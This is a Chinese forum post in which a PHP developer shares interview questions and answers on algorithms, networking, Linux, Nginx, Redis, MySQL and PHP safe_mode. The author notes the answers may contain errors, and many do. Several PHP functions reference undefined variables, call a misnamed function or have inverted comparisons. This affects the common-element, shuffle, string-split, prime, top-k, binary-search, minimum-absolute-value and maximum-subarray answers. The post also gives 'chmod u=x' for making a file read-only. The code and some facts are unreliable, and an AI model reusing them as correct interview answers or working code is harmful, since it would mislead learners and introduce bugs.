# 3年PHPer的面试总结

**URL:** <https://www.shiqidu.com/t/topic/222>\
**Category:** 开发调优\
**Tags:** PHP\
**Created:** [2017 年9 月 11 日 03:55 UTC](https://www.shiqidu.com/t/topic/222 "2017-09-11T03:55:37Z")\
**Posts on this page:** 1\
**Page:** 1

<div class="post-metadata">

作者： ![Leon](https://www.shiqidu.com/user_avatar/www.shiqidu.com/leon/32/5_2.png) [@Leon](https://www.shiqidu.com/u/Leon)\
发布日期： [2017 年9 月 11 日 03:55 UTC](https://www.shiqidu.com/t/topic/222/1 "2017-09-11T03:55:37Z")

</div>

之前看到一篇文章[《八年phper的高级工程师面试之路》](https://zhuanlan.zhihu.com/p/27493130)，然后最近我也在面试，面了有百度、360、滴滴、小米、微博、58赶集、搜狗、瓜子二手车等公司，最后也进了心仪的公司，面试过程中学到了很多东西，所以也想和大家分享一下，虽然我的工作经验才3年左右。 **注：下面题目的答案只是我思考和查询资料的结果，并不代表完全准确，有错误的地方大家可以指正，有更好的方案可以提出，大家一起讨论。**

## 算法#

### 1.反转函数的实现[#](#1%E5%8F%8D%E8%BD%AC%E5%87%BD%E6%95%B0%E7%9A%84%E5%AE%9E%E7%8E%B0)

```auto
/** 
 * 反转数组 
 * @param array $arr 
 * @return array 
 */ 
function reverse($arr) 
{ 
 $n = count($arr); 
 
 $left = 0; 
 $right = $n - 1; 
 
 while ($left &lt; $right) { 
 $temp = $arr[$left]; 
 $arr[$left++] = $arr[$right]; 
 $arr[$right--] = $temp; 
 } 
 
 return $arr; 
} 

```

### 2.两个有序int集合是否有相同元素的最优算法[#](#2%E4%B8%A4%E4%B8%AA%E6%9C%89%E5%BA%8Fint%E9%9B%86%E5%90%88%E6%98%AF%E5%90%A6%E6%9C%89%E7%9B%B8%E5%90%8C%E5%85%83%E7%B4%A0%E7%9A%84%E6%9C%80%E4%BC%98%E7%AE%97%E6%B3%95)

```auto
/** 
 * 寻找两个数组里相同的元素 
 * @param array $arr1 
 * @param array $arr2 
 * @return array 
 */ 
function find_common($arr1, $arr2) 
{ 
 $common = array(); 
 $i = $j = 0; 
 $count1 = count($arr1); 
 $count2 = count($arr2); 
 while ($i &lt; $count1 &amp;&amp; $j &lt; $count2) { 
 if ($arr1[$i] &lt; $arr2[$j]) { 
 $i++; 
 } elseif ($arr1[$i] &gt; $arr2[$j]) { 
 $j++; 
 } else { 
 $common[] = $arr[$i]; 
 $i++; 
 $j++; 
 } 
 } 
 return array_unique($common); 
} 

```

### 3.将一个数组中的元素随机（打乱）[#](#3%E5%B0%86%E4%B8%80%E4%B8%AA%E6%95%B0%E7%BB%84%E4%B8%AD%E7%9A%84%E5%85%83%E7%B4%A0%E9%9A%8F%E6%9C%BA%E6%89%93%E4%B9%B1)

```auto
/** 
 * 打乱数组 
 * @param array $arr 
 * @return array 
 */ 
function custom_shuffle($arr) 
{ 
 $n = count($arr); 
 for ($i = 0; $i &lt; $n; $i++) { 
 $rand_pos = mt_rand(0, $n); 
 if ($rand_pos != $i) { 
 $temp = $arr[$i]; 
 $arr[$i] = $arr[$rand_pos]; 
 $arr[$rand_pos] = $temp; 
 } 
 } 
 return $arr; 
} 

```

### 4.给一个有数字和字母的字符串，让连着的数字和字母对应[#](#4%E7%BB%99%E4%B8%80%E4%B8%AA%E6%9C%89%E6%95%B0%E5%AD%97%E5%92%8C%E5%AD%97%E6%AF%8D%E7%9A%84%E5%AD%97%E7%AC%A6%E4%B8%B2%E8%AE%A9%E8%BF%9E%E7%9D%80%E7%9A%84%E6%95%B0%E5%AD%97%E5%92%8C%E5%AD%97%E6%AF%8D%E5%AF%B9%E5%BA%94)

```auto
function number_alphabet($str) 
{ 
 $number = preg_split('/[a-z]+/', $str, -1, PREG_SPLIT_NO_EMPTY); 
 $alphabet = preg_split('/d+/', $str, -1, PREG_SPLIT_NO_EMPTY); 
 $n = count($number); 
 for ($i = 0; $i &lt; $count; $i++) { 
 echo $number[$i] . ':' . $alphabet[$i] . '&lt;/br&gt;'; 
 } 
} 
$str = '1a3bb44a2ac'; 
number_alphabet($str);//1:a 3:bb 44:a 2:ac 

```

### 5.求n以内的质数（质数的定义：在大于1的自然数中，除了1和它本身意外，无法被其他自然数整除的数）[#](#5%E6%B1%82n%E4%BB%A5%E5%86%85%E7%9A%84%E8%B4%A8%E6%95%B0%E8%B4%A8%E6%95%B0%E7%9A%84%E5%AE%9A%E4%B9%89%E5%9C%A8%E5%A4%A7%E4%BA%8E1%E7%9A%84%E8%87%AA%E7%84%B6%E6%95%B0%E4%B8%AD%E9%99%A4%E4%BA%861%E5%92%8C%E5%AE%83%E6%9C%AC%E8%BA%AB%E6%84%8F%E5%A4%96%E6%97%A0%E6%B3%95%E8%A2%AB%E5%85%B6%E4%BB%96%E8%87%AA%E7%84%B6%E6%95%B0%E6%95%B4%E9%99%A4%E7%9A%84%E6%95%B0)

思路： 1.（质数筛选定理）n不能够被不大于根号n的任何质数整除，则n是一个质数 2.除了2的偶数都不是质数 代码如下：

```auto
/** 
 * 求n内的质数 
 * @param int $n 
 * @return array 
 */ 
function get_prime($n) 
{ 
 $prime = array(2);//2为质数 
 
 for ($i = 3; $i &lt;= $n; $i += 2) {//偶数不是质数，步长可以加大 
 $sqrt = intval(sqrt($i));//求根号n 
 
 for ($j = 3; $j &lt;= $sqrt; $j += 2) {//i是奇数，当然不能被偶数整除，步长也可以加大。 
 if ($i % $j == 0) { 
 break; 
 } 
 } 
 
 if ($j &gt; $sqrt) { 
 array_push($prime, $i); 
 } 
 } 
 
 return $prime; 
} 
 
print_r(getPrime(1000)); 

```

### 6.约瑟夫环问题[#](#6%E7%BA%A6%E7%91%9F%E5%A4%AB%E7%8E%AF%E9%97%AE%E9%A2%98)

相关题目：一群猴子排成一圈，按1,2,…,n依次编号。然后从第1只开始数，数到第m只,把它踢出圈，从它后面再开始数， 再数到第m只，在把它踢出去…，如此不停的进行下去， 直到最后只剩下一只猴子为止，那只猴子就叫做大王。要求编程模拟此过程，输入m、n, 输出最后那个大王的编号。

```auto
/** 
 * 获取大王 
 * @param int $n 
 * @param int $m 
 * @return int 
 */ 
function get_king_mokey($n, $m) 
{ 
 $arr = range(1, $n); 
 
 $i = 0; 
 
 while (count($arr) &gt; 1) { 
 $i++; 
 $survice = array_shift($arr); 
 
 if ($i % $m != 0) { 
 array_push($arr, $survice); 
 } 
 } 
 
 return $arr[0]; 
} 

```

### 7.如何快速寻找一个数组里最小的1000个数[#](#7%E5%A6%82%E4%BD%95%E5%BF%AB%E9%80%9F%E5%AF%BB%E6%89%BE%E4%B8%80%E4%B8%AA%E6%95%B0%E7%BB%84%E9%87%8C%E6%9C%80%E5%B0%8F%E7%9A%841000%E4%B8%AA%E6%95%B0)

思路：假设最前面的1000个数为最小的，算出这1000个数中最大的数，然后和第1001个数比较，如果这最大的数比这第1001个数大的话跳过，如果要比这第1001个数小则将两个数交换位置，并算出新的1000个数里面的最大数，再和下一个数比较，以此类推。 代码如下：

```auto
//寻找最小的k个数 
//题目描述 
//输入n个整数，输出其中最小的k个。 
/** 
 * 获取最小的k个数 
 * @param array $arr 
 * @param int $k [description] 
 * @return array 
 */ 
function get_min_array($arr, $k) 
{ 
 $n = count($arr); 
 
 $min_array = array(); 
 
 for ($i = 0; $i &lt; $n; $i++) { 
 if ($i &lt; $k) { 
 $min_array[$i] = $arr[$i]; 
 } else { 
 if ($i == $k) { 
 $max_pos = get_max_pos($min_array); 
 $max = $min_array[$max_pos]; 
 } 
 
 if ($arr[$i] &lt; $max) { 
 $min_array[$max_pos] = $arr[$i]; 
 
 $max_pos = get_max_pos($min_array); 
 $max = $min_array[$max_pos]; 
 } 
 } 
 } 
 
 return $min_array; 
} 
 
/** 
 * 获取最大的位置 
 * @param array $arr 
 * @return array 
 */ 
function get_max_pos($arr) 
{ 
 $pos = 0; 
 for ($i = 1; $i &lt; count($arr); $i++) { 
 if ($arr[$i] &lt; $arr[$pos]) { 
 $pos = $i; 
 } 
 } 
 
 return $pos; 
} 
 
$array = [1, 100, 20, 22, 33, 44, 55, 66, 23, 79, 18, 20, 11, 9, 129, 399, 145, 2469, 58]; 
 
$min_array = get_min_array($array, 10); 
 
print_r($min_array); 

```

### 8.如何在有序的数组中找到一个数的位置（二分查找）[#](#8%E5%A6%82%E4%BD%95%E5%9C%A8%E6%9C%89%E5%BA%8F%E7%9A%84%E6%95%B0%E7%BB%84%E4%B8%AD%E6%89%BE%E5%88%B0%E4%B8%80%E4%B8%AA%E6%95%B0%E7%9A%84%E4%BD%8D%E7%BD%AE%E4%BA%8C%E5%88%86%E6%9F%A5%E6%89%BE)

代码如下：

```auto
/** 
 * 二分查找 
 * @param array $array 数组 
 * @param int $n 数组数量 
 * @param int $value 要寻找的值 
 * @return int 
 */ 
function binary_search($array, $n, $value) 
{ 
 $left = 0; 
 $right = $n - 1; 
 
 while ($left &lt;= $right) { 
 $mid = intval(($left + $right) / 2); 
 if ($value &gt; $mid) { 
 $right = $mid + 1; 
 } elseif ($value &lt; $mid) { 
 $left = $mid - 1; 
 } else { 
 return $mid; 
 } 
 } 
 
 return -1; 
} 

```

### 9.给定一个有序整数序列，找出绝对值最小的元素[#](#9%E7%BB%99%E5%AE%9A%E4%B8%80%E4%B8%AA%E6%9C%89%E5%BA%8F%E6%95%B4%E6%95%B0%E5%BA%8F%E5%88%97%E6%89%BE%E5%87%BA%E7%BB%9D%E5%AF%B9%E5%80%BC%E6%9C%80%E5%B0%8F%E7%9A%84%E5%85%83%E7%B4%A0)

思路：二分查找

```auto
/** 
 * 获取绝对值最小的元素 
 * @param array $arr 
 * @return int 
 */ 
function get_min_abs_value($arr) 
{ 
 //如果符号相同，直接返回 
 if (is_same_sign($arr[0], $arr[$n - 1])) { 
 return $arr[0] &gt;= 0 ? $arr[0] : $arr[$n - 1]; 
 } 
 
 //二分查找 
 $n = count($arr); 
 $left = 0; 
 $right = $n - 1; 
 
 while ($left &lt;= $right) { 
 if ($left + 1 === $right) { 
 return abs($arr[$left]) &lt; abs($arr[$right]) ? $arr[$left] : $arr[$right]; 
 } 
 
 $mid = intval(($left + $right) / 2); 
 
 if ($arr[$mid] &lt; 0) { 
 $left = $mid + 1; 
 } else { 
 $right = $mid - 1; 
 } 
 } 
} 
 
/** 
 * 判断符号是否相同 
 * @param int $a 
 * @param int $b 
 * @return boolean 
 */ 
function is_same_sign($a, $b) 
{ 
 if ($a * $b &gt; 0) { 
 return true; 
 } else { 
 return false; 
 } 
} 

```

### 10.找出有序数组中随机3个数和为0的所有情况[#](#10%E6%89%BE%E5%87%BA%E6%9C%89%E5%BA%8F%E6%95%B0%E7%BB%84%E4%B8%AD%E9%9A%8F%E6%9C%BA3%E4%B8%AA%E6%95%B0%E5%92%8C%E4%B8%BA0%E7%9A%84%E6%89%80%E6%9C%89%E6%83%85%E5%86%B5)

思路：动态规划

```auto
function three_sum($arr) 
{ 
 $n = count($arr); 
 
 $return = array(); 
 
 for ($i=0; $i &lt; $n; $i++) { 
 $left = $i + 1; 
 $right = $n - 1; 
 
 while ($left &lt;= $right) { 
 $sum = $arr[$i] + $arr[$left] + $arr[$right]; 
 
 if ($sum &lt; 0) { 
 $left++; 
 } elseif ($sum &gt; 0) { 
 $right--; 
 } else { 
 $numbers = $arr[$i] . ',' . $arr[$left] . ',' . $arr[$right]; 
 if (!in_array($numbers, $return)) { 
 $return[] = $numbers; 
 } 
 
 $left++; 
 $right--; 
 } 
 } 
 } 
 
 return $return; 
} 
 
$arr = [-10, -9, -8, -4, -2, 0, 1, 2, 3, 4, 5, 6, 9]; 
var_dump(three_sum($arr)); 

```

### 11.编写一个PHP函数，求任意n个正负整数里面最大的连续和，要求算法时间复杂度尽可能低。[#](#11%E7%BC%96%E5%86%99%E4%B8%80%E4%B8%AAPHP%E5%87%BD%E6%95%B0%E6%B1%82%E4%BB%BB%E6%84%8Fn%E4%B8%AA%E6%AD%A3%E8%B4%9F%E6%95%B4%E6%95%B0%E9%87%8C%E9%9D%A2%E6%9C%80%E5%A4%A7%E7%9A%84%E8%BF%9E%E7%BB%AD%E5%92%8C%E8%A6%81%E6%B1%82%E7%AE%97%E6%B3%95%E6%97%B6%E9%97%B4%E5%A4%8D%E6%9D%82%E5%BA%A6%E5%B0%BD%E5%8F%AF%E8%83%BD%E4%BD%8E)

思路：动态规划

```auto
/** 
 * 获取最大的连续和 
 * @param array $arr 
 * @return int 
 */ 
function max_sum_array($arr) 
{ 
 $currSum = 0; 
 $maxSum = 0;//数组元素全为负的情况，返回最大数 
 
 $n = count($arr); 
 
 for ($i = 0; $i &lt; $n; $i++) { 
 if ($currSum &gt;= 0) { 
 $currSum += $arr[$j]; 
 } else { 
 $currSum = $arr[$j]; 
 } 
 } 
 
 if ($currSum &gt; $maxSum) { 
 $maxSum = $currSum; 
 } 
 
 return $maxSum; 
} 

```

## 计算机网络#

### 1.HTTP中GET与POST的区别，注意最后一条[#](#1HTTP%E4%B8%ADGET%E4%B8%8EPOST%E7%9A%84%E5%8C%BA%E5%88%AB%E6%B3%A8%E6%84%8F%E6%9C%80%E5%90%8E%E4%B8%80%E6%9D%A1)

1. GET在浏览器回退时是无害的，而POST会再次提交请求。
2. GET产生的URL地址可以被Bookmark，而POST不可以。
3. GET请求会被浏览器主动cache，而POST不会，除非手动设置。
4. GET请求只能进行url编码，而POST支持多种编码方式。
5. GET请求参数会被完整保留在浏览器历史记录里，而POST中的参数不会被保留。
6. GET请求在URL中传送的参数是有长度限制的，而POST么有。
7. 对参数的数据类型，GET只接受ASCII字符，而POST没有限制。
8. GET比POST更不安全，因为参数直接暴露在URL上，所以不能用来传递敏感信息。
9. GET参数通过URL传递，POST放在Request body中。
10. GET产生一个TCP数据包，POST产生两个TCP数据包。

### 2.为什么Tcp连接是三次，挥手是四次[#](#2%E4%B8%BA%E4%BB%80%E4%B9%88Tcp%E8%BF%9E%E6%8E%A5%E6%98%AF%E4%B8%89%E6%AC%A1%E6%8C%A5%E6%89%8B%E6%98%AF%E5%9B%9B%E6%AC%A1)

在Tcp连接中，服务端的SYN和ACK向客户端发送是一次性发送的，而在断开连接的过程中，B端向A端发送的ACK和FIN是分两次发送的。因为在B端接收到A端的FIN后，B端可能还有数据要传输，所以先发送ACK，等B端处理完自己的事情后就可以发送FIN断开连接了。

### 3.Cookie存在哪[#](#3Cookie%E5%AD%98%E5%9C%A8%E5%93%AA)

1. 如果设置了过期时间，Cookie存在硬盘里
2. 没有设置过期时间，Cookie存在内存里

### 4.COOKIE和SESSION的区别和关系[#](#4COOKIE%E5%92%8CSESSION%E7%9A%84%E5%8C%BA%E5%88%AB%E5%92%8C%E5%85%B3%E7%B3%BB)

1. COOKIE保存在客户端，而SESSION则保存在服务器端
2. 从安全性来讲，SESSION的安全性更高
3. 从保存内容的类型的角度来讲，COOKIE只保存字符串（及能够自动转换成字符串）
4. 从保存内容的大小来看，COOKIE保存的内容是有限的，比较小，而SESSION基本上没有这个限制
5. 从性能的角度来讲，用SESSION的话，对服务器的压力会更大一些
6. SEEION依赖于COOKIE，但如果禁用COOKIE，也可以通过url传递

## Linux[#](#Linux)

### 1.如何修改文件为当前用户只读[#](#1%E5%A6%82%E4%BD%95%E4%BF%AE%E6%94%B9%E6%96%87%E4%BB%B6%E4%B8%BA%E5%BD%93%E5%89%8D%E7%94%A8%E6%88%B7%E5%8F%AA%E8%AF%BB)

chmod u=x 文件名

### 2.Linux进程属性[#](#2Linux%E8%BF%9B%E7%A8%8B%E5%B1%9E%E6%80%A7)

1. 进程：是用pid表示，它的数值是唯一的
2. 父进程：用ppid表示
3. 启动进程的用户：用UID表示
4. 启动进程的用户所属的组：用GID表示
5. 进程的状态：运行R，就绪W，休眠S，僵尸Z

### 3.统计某一天网站的访问量[#](#3%E7%BB%9F%E8%AE%A1%E6%9F%90%E4%B8%80%E5%A4%A9%E7%BD%91%E7%AB%99%E7%9A%84%E8%AE%BF%E9%97%AE%E9%87%8F)

```auto
awk '{print $1}' /var/log/access.log | sort | uniq | wc -l 

```

推荐篇文章，讲awk实际使用的[shell在手分析服务器日志不愁](https://segmentfault.com/a/1190000009745139)

## Nginx[#](#Nginx)

### 1.fastcgi通过端口监听和通过文件监听的区别[#](#1fastcgi%E9%80%9A%E8%BF%87%E7%AB%AF%E5%8F%A3%E7%9B%91%E5%90%AC%E5%92%8C%E9%80%9A%E8%BF%87%E6%96%87%E4%BB%B6%E7%9B%91%E5%90%AC%E7%9A%84%E5%8C%BA%E5%88%AB)

| 监听方式 | 形式 | nginx链接fastcgi方式 |
| --- | --- | --- |
| 端口监听 | fastcgi\_pass 127.0.0.1:9000 | TCP链接 |
| 文件监听 | fastcgi\_pass /tmp/php\_cgi.sock | Unix domain Socket |

### 2.nginx的负载均衡实现方式[#](#2nginx%E7%9A%84%E8%B4%9F%E8%BD%BD%E5%9D%87%E8%A1%A1%E5%AE%9E%E7%8E%B0%E6%96%B9%E5%BC%8F)

1. 轮询
2. 用户IP哈希
3. 指定权重
4. fair（第三方）
5. url\_hash（第三方）

## Memcache/Redis[#](#MemcacheRedis)

### 1.Redis主从是怎样同步数据的？（即复制功能）[#](#1Redis%E4%B8%BB%E4%BB%8E%E6%98%AF%E6%80%8E%E6%A0%B7%E5%90%8C%E6%AD%A5%E6%95%B0%E6%8D%AE%E7%9A%84%E5%8D%B3%E5%A4%8D%E5%88%B6%E5%8A%9F%E8%83%BD)

无论是初次连接还是重新连接，当建立一个从服务器时，从服务器都将从主服务器发送一个SYNC命令。接到SYNC命令的主服务器将开始执行BGSAVE，并在保存操作执行期间，将所有新执行的命令都保存到一个缓冲区里面，当BGSAVE执行完毕后，主服务器将执行保存操作所得到的.rdb文件发送给从服务器，从服务器接收这个.rdb文件，并将文件中的数据载入到内存中。之后主服务器会以Redis命令协议的格式，将写命令缓冲区中积累的所有内容都发送给从服务器。

### 2.Memcache缓存命中率[#](#2Memcache%E7%BC%93%E5%AD%98%E5%91%BD%E4%B8%AD%E7%8E%87)

缓存命中率 = get\_hits/cmd\_get \* 100%

### 3.Memcache集群实现[#](#3Memcache%E9%9B%86%E7%BE%A4%E5%AE%9E%E7%8E%B0)

一致性Hash

### 4.Memcache与Redis的区别[#](#4Memcache%E4%B8%8ERedis%E7%9A%84%E5%8C%BA%E5%88%AB)

1. Memcache

- 该产品本身特别是数据在内存里边的存储，如果服务器突然断电，则全部数据就会丢失
- 单个key（变量）存放的数据有1M的限制
- 存储数据的类型都是String字符串类型
- 本身没有持久化功能
- 可以使用多核（多线程）

1. Redis

- 数据类型比较丰富:String、List、Set、Sortedset、Hash
- 有持久化功能，可以把数据随时存储在磁盘上
- 本身有一定的计算功能
- 单个key（变量）存放的数据有1GB的限制

## MySQL[#](#MySQL)

### 1.执行SQL语句：select count(\*) from articles 时，MySIAM和InnoDB哪个快[#](#1%E6%89%A7%E8%A1%8CSQL%E8%AF%AD%E5%8F%A5select-count-from-articles-%E6%97%B6MySIAM%E5%92%8CInnoDB%E5%93%AA%E4%B8%AA%E5%BF%AB)

MySIAM快，因为MySIAM本身就记录了数量，而InnoDB要扫描数据

### 3.隐式转换[#](#3%E9%9A%90%E5%BC%8F%E8%BD%AC%E6%8D%A2)

- 当查询字段是INT类型，如果查询条件为CHAR，将查询条件转换为INT，如果是字符串前导都是数字将会进行截取，如果不是转换为0。
- 当查询字段是CHAR/VARCHAR类型，如果查询条件为INT，将查询字段为换为INT再进行比较，可能会造成全表扫描

### 2.最左前缀原则[#](#2%E6%9C%80%E5%B7%A6%E5%89%8D%E7%BC%80%E5%8E%9F%E5%88%99)

有一个复合索引：`INDEX(`a`, `b`, `c`)`

| 使用方式 | 能否用上索引 |
| --- | --- |
| select \* from users where a = 1 and b = 2 | 能用上a、b |
| select \* from users where b = 2 and a = 1 | 能用上a、b（有MySQL查询优化器） |
| select \* from users where a = 2 and c = 1 | 能用上a |
| select \* from users where b = 2 and c = 1 | 不能 |

### 3.聚簇索引和非聚簇索引的区别[#](#3%E8%81%9A%E7%B0%87%E7%B4%A2%E5%BC%95%E5%92%8C%E9%9D%9E%E8%81%9A%E7%B0%87%E7%B4%A2%E5%BC%95%E7%9A%84%E5%8C%BA%E5%88%AB)

聚簇索引的叶节点就是数据节点，而非聚簇索引的页节点仍然是索引检点，并保留一个链接指向对应数据块。

## PHP[#](#PHP)

### 1.Session可不可以设置失效时间，比如30分钟过期[#](#1Session%E5%8F%AF%E4%B8%8D%E5%8F%AF%E4%BB%A5%E8%AE%BE%E7%BD%AE%E5%A4%B1%E6%95%88%E6%97%B6%E9%97%B4%E6%AF%94%E5%A6%8230%E5%88%86%E9%92%9F%E8%BF%87%E6%9C%9F)

1. 设置seesion.cookie\_lifetime有30分钟，并设置session.gc\_maxlifetime为30分钟
2. 自己为每一个Session值增加timestamp
3. 每次访问之前, 判断时间戳

### 2.PHP进程间通信的几种方式[#](#2PHP%E8%BF%9B%E7%A8%8B%E9%97%B4%E9%80%9A%E4%BF%A1%E7%9A%84%E5%87%A0%E7%A7%8D%E6%96%B9%E5%BC%8F)

- 消息队列
- 信号量+共享内存
- 信号
- 管道
- socket

### 3.php类的静态调用和实例化调用各自的利弊[#](#3php%E7%B1%BB%E7%9A%84%E9%9D%99%E6%80%81%E8%B0%83%E7%94%A8%E5%92%8C%E5%AE%9E%E4%BE%8B%E5%8C%96%E8%B0%83%E7%94%A8%E5%90%84%E8%87%AA%E7%9A%84%E5%88%A9%E5%BC%8A)

静态方法是类中的一个成员方法，属于整个类，即使不用创建任何对象也可以直接调用！静态方法效率上要比实例化高，静态方法的缺点是不自动销毁，而实例化的则可以做销毁。

### 4.类的数组方式调用[#](#4%E7%B1%BB%E7%9A%84%E6%95%B0%E7%BB%84%E6%96%B9%E5%BC%8F%E8%B0%83%E7%94%A8)

ArrayAccess（数组式访问）接口

### 5.用php写一个函数，获取一个文本文件最后n行内容，要求尽可能效率高，并可以跨平台使用。[#](#5%E7%94%A8php%E5%86%99%E4%B8%80%E4%B8%AA%E5%87%BD%E6%95%B0%E8%8E%B7%E5%8F%96%E4%B8%80%E4%B8%AA%E6%96%87%E6%9C%AC%E6%96%87%E4%BB%B6%E6%9C%80%E5%90%8En%E8%A1%8C%E5%86%85%E5%AE%B9%E8%A6%81%E6%B1%82%E5%B0%BD%E5%8F%AF%E8%83%BD%E6%95%88%E7%8E%87%E9%AB%98%E5%B9%B6%E5%8F%AF%E4%BB%A5%E8%B7%A8%E5%B9%B3%E5%8F%B0%E4%BD%BF%E7%94%A8)

```auto
function tail($file, $num) 
{ 
 $fp = fopen($file,&quot;r&quot;); 
 $pos = -2; 
 $eof = &quot;&quot;; 
 $head = false; //当总行数小于Num时，判断是否到第一行了 
 $lines = array(); 
 while ($num &gt; 0) { 
 while($eof != PHP_EOL){ 
 if (fseek($fp, $pos, SEEK_END) == 0) { //fseek成功返回0，失败返回-1 
 $eof = fgetc($fp); 
 $pos--; 
 } else { //当到达第一行，行首时，设置$pos失败 
 fseek($fp, 0, SEEK_SET); 
 $head = true; //到达文件头部，开关打开 
 break; 
 } 
 } 
 array_unshift($lines, str_replace(PHP_EOL, '', fgets($fp))); 
 if ($head) {//这一句，只能放上一句后，因为到文件头后，把第一行读取出来再跳出整个循环 
 break; 
 } 
 $eof = &quot;&quot;; 
 $num--; 
 } 
 fclose($fp); 
 return $lines; 
} 

```

### 6.$SERVER[‘SERVER\_NAME’]和$SERVER[‘HTTP\_HOST’]的区别[#](#6SERVERSERVER_NAME%E5%92%8CSERVERHTTP_HOST%E7%9A%84%E5%8C%BA%E5%88%AB)

相同点： 当满足以下三个条件时，两者会输出相同信息。

1. 服务器为80端口
2. apache的conf中ServerName设置正确
3. HTTP/1.1协议规范

不同点：

1. 通常情况： $\_SERVER["HTTP\_HOST"] 在HTTP/1.1协议规范下，会根据客户端的HTTP请求输出信息。 $\_SERVER["SERVER\_NAME"] 默认情况下直接输出apache的配置文件httpd.conf中的ServerName值。
2. 当服务器为非80端口时： $\_SERVER["HTTP\_HOST"] 会输出端口号，例如：`coffeephp.com:8080` $\_SERVER["SERVER\_NAME"] 会直接输出ServerName值 因此在这种情况下，可以理解为：$\_SERVER[‘HTTP\_HOST’] = $\_SERVER[‘SERVER\_NAME’] : $\_SERVER[‘SERVER\_PORT’]
3. 当配置文件httpd.conf中的ServerName与HTTP/1.0请求的域名不一致时： httpd.conf配置如下：

```auto
&lt;virtualhost *&gt; 
ServerName jsyzchen.com 
ServerAlias blog.jsyzchen.com 
&lt;/virtualhost&gt; 

```

客户端访问域名 `blog.jsyzchen.com` $\_SERVER["HTTP\_HOST"] 输出 `blog.jsyzchen.com` $\_SERVER["SERVER\_NAME"] 输出`jsyzchen.com`

### 7.打开php.ini的safe\_mode会影响哪些参数[#](#7%E6%89%93%E5%BC%80phpini%E7%9A%84safe_mode%E4%BC%9A%E5%BD%B1%E5%93%8D%E5%93%AA%E4%BA%9B%E5%8F%82%E6%95%B0)

当safe\_mode=On时，会出现下面限制：

1. 所有输入输出函数（例如fopen()、file()和require()）的适用会受到限制，只能用于与调用这些函数的脚本有相同拥有者的文件。例如，假定启用了安全模式，如果Mary拥有的脚本调用fopen(),尝试打开由Jonhn拥有的一个文件，则将失败。但是，如果Mary不仅拥有调用 fopen()的脚本，还拥有fopen()所调用的文件，就会成功。
2. 如果试图通过函数popen()、system()或exec()等执行脚本，只有当脚本位于safe\_mode\_exec\_dir配置指令指定的目录才可能。
3. HTTP验证得到进一步加强，因为验证脚本用于者的UID划入验证领域范围内。此外，当启用安全模式时，不会设置PHP\_AUTH。
4. 如果适用MySQL数据库服务器，链接MySQL服务器所用的用户名必须与调用mysql\_connect()的文件拥有者用户名相同。  
详细的解释可以查看官网：[http://www.php.net/manual/zh/ini.sect.safe-mode.php](http://www.php.net/manual/zh/ini.sect.safe-mode.php) **php safe\_mode影响参数**

| 函数名 | 限制 |
| --- | --- |
| dbmopen() | 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID（所有者）。 |
| dbase\_open() | 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID（所有者）。 |
| filepro() | 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID（所有者）。 |
| filepro\_rowcount() | 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID（所有者）。 |
| filepro\_retrieve() | 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID（所有者）。 |
| ifx\_\* sql\_safe\_mode | 限制, (!= safe mode) |
| ingres\_\* sql\_safe\_mode | 限制, (!= safe mode) |
| mysql\_\* sql\_safe\_mode | 限制, (!= safe mode) |
| pg\_loimport() | 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID（所有者）。 |
| posix\_mkfifo() | 检查被操作的目录是否与正在执行的脚本有相同的 UID（所有者）。 |
| putenv() | 遵循 ini 设置的 safe\_mode\_protected\_env\_vars 和 safe\_mode\_allowed\_env\_vars 选项。请参考 putenv() 函数的有关文档。 |
| move\_uploaded\_file() | 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID（所有者）。 |
| chdir() | 检查被操作的目录是否与正在执行的脚本有相同的 UID（所有者）。 |
| dl() | 本函数在安全模式下被禁用。 |
| backtick operator | 本函数在安全模式下被禁用。 |
| shell\_exec() | （在功能上和 backticks 函数相同） 本函数在安全模式下被禁用。 |
| exec() | 只能在 safe\_mode\_exec\_dir 设置的目录下进行执行操作。基于某些原因，目前不能在可执行对象的路径中使用 ..。escapeshellcmd() 将被作用于此函数的参数上。 |
| system() | 只能在 safe\_mode\_exec\_dir 设置的目录下进行执行操作。基于某些原因，目前不能在可执行对象的路径中使用 ..。escapeshellcmd() 将被作用于此函数的参数上。 |
| passthru() | 只能在 safe\_mode\_exec\_dir 设置的目录下进行执行操作。基于某些原因，目前不能在可执行对象的路径中使用 ..。escapeshellcmd() 将被作用于此函数的参数上。 |
| popen() | 只能在 safe\_mode\_exec\_dir 设置的目录下进行执行操作。基于某些原因，目前不能在可执行对象的路径中使用 ..。escapeshellcmd() 将被作用于此函数的参数上。 |
| fopen() | 检查被操作的目录是否与正在执行的脚本有相同的 UID（所有者）。 |
| mkdir() | 检查被操作的目录是否与正在执行的脚本有相同的 UID（所有者）。 |
| rmdir() | 检查被操作的目录是否与正在执行的脚本有相同的 UID（所有者）。 |
| rename() | 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID（所有者）。 检查被操作的目录是否与正在执行的脚本有相同的 UID（所有者）。 |
| unlink() | 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID（所有者）。 检查被操作的目录是否与正在执行的脚本有相同的 UID（所有者）。 |
| copy() | 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID（所有者）。 检查被操作的目录是否与正在执行的脚本有相同的 UID（所有者）。 (on source and target ) |
| chgrp() | 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID（所有者）。 |
| chown() | 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID（所有者）。 |
| chmod() | 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID（所有者）。 另外，不能设置 SUID、SGID 和 sticky bits |
| touch() | 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID（所有者）。 检查被操作的目录是否与正在执行的脚本有相同的 UID（所有者）。 |
| symlink() | 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID（所有者）。 检查被操作的目录是否与正在执行的脚本有相同的 UID（所有者）。 （注意：仅测试 target） |
| link() | 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID（所有者）。 检查被操作的目录是否与正在执行的脚本有相同的 UID（所有者）。 （注意：仅测试 target） |
| apache\_request\_headers() 在安全模式下，以“authorization”（区分大小写）开头的标头将不会被返回。 | |
| header() 在安全模式下，如果设置了 WWW-Authenticate，当前脚本的 uid 将被添加到该标头的 realm 部分。 | |
